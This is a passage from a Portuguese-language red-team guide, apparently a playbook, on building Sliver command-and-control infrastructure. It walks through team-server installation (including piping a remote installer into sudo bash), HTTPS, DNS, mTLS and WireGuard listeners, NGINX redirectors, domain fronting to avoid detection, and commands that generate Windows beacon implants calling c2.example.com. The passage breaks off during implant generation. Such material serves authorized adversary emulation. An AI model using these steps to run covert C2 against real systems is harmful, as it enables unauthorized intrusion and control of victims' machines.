Construindo Infraestrutura C2 com o Framework Sliver

Visão Geral

Sliver é um framework de emulação de adversários de código aberto e multiplataforma desenvolvido pela BishopFox, escrito em Go. Ele fornece às equipes vermelhas geração de implantes, canais C2 multiprotocolo (mTLS, HTTP/S, DNS, WireGuard), suporte multioperador e amplas capacidades de pós-exploração. Sliver suporta modos de beacon (assíncrono) e sessão (interativo), tornando-o adequado tanto para operações de longo prazo quanto para exploração interativa. Uma infraestrutura Sliver adequadamente arquitetada usa rediretores, domain fronting e certificados HTTPS para manter a resiliência operacional e evitar a detecção.

Quando Usar

• Ao implantar ou configurar a construção de infraestrutura C2 com as capacidades do framework Sliver em seu ambiente
• Ao estabelecer controles de segurança alinhados aos requisitos de conformidade
• Ao construir ou melhorar a arquitetura de segurança para este domínio
• Ao realizar avaliações de segurança que exigem esta implementação

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Implantar um servidor de equipe Sliver em infraestrutura de nuvem protegida
• Configurar listeners HTTPS, mTLS, DNS e WireGuard
• Gerar implantes (beacons e sessões) para plataformas alvo
• Configurar rediretores NGINX ou Apache entre implantes e o servidor de equipe
• Implementar domain fronting baseado em Cloudflare ou CDN para ofuscação de tráfego
• Configurar acesso multioperador com autenticação baseada em certificado
• Estabelecer controles de segurança operacional para comunicações C2

Mapeamento MITRE ATT&CK

• T1071.001 - Protocolo da Camada de Aplicação: Protocolos Web
• T1071.004 - Protocolo da Camada de Aplicação: DNS
• T1573.002 - Canal Criptografado: Criptografia Assimétrica
• T1090.002 - Proxy: Proxy Externo (Rediretores)
• T1105 - Transferência de Ferramentas de Entrada
• T1132.001 - Codificação de Dados: Codificação Padrão
• T1572 - Tunneling de Protocolo

Fluxo de Trabalho

Fase 1: Implantação do Servidor de Equipe

1. Provisionar um VPS (por exemplo, DigitalOcean, Linode, AWS EC2) para o servidor de equipe
2. Proteger o SO: desabilitar autenticação por senha SSH, configurar UFW/iptables, instalar fail2ban
3. Instalar Sliver usando o script de instalação oficial:

   curl https://sliver.sh/install | sudo bash
   

4. Iniciar o daemon do servidor Sliver:

   systemctl start sliver
   # Or run interactively
   sliver-server
   

5. Gerar arquivos de configuração do operador para os membros da equipe:

   new-operator --name operator1 --lhost <team-server-ip>
   

Fase 2: Configuração do Listener

1. Configurar um listener HTTPS com um certificado SSL legítimo:

   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   

2. Configurar um listener DNS para C2 de fallback:

   dns --domains c2dns.example.com --lport 53
   

3. Configurar um listener mTLS para sessões de alta segurança:

   mtls --lhost 0.0.0.0 --lport 8888
   

4. Configurar um listener WireGuard para acesso tunelado:

   wg --lport 51820
   

Fase 3: Configuração do Rediretor

1. Implantar um VPS separado como rediretor (posicionado entre os alvos e o servidor de equipe)
2. Instalar e configurar o NGINX como um proxy reverso:

   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
   
       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   

3. Configurar regras de iptables no servidor de equipe para aceitar apenas conexões do rediretor:

   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   

4. Opcionalmente, configurar o Cloudflare como uma camada de CDN na frente do rediretor para domain fronting

Fase 4: Geração de Implante

1. Gerar um implante beacon HTTPS:

   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   

2. Gerar um beacon DNS para redes restritas:

   generate beacon --dns c2dns.example.com --os windows --arch amd64
   

…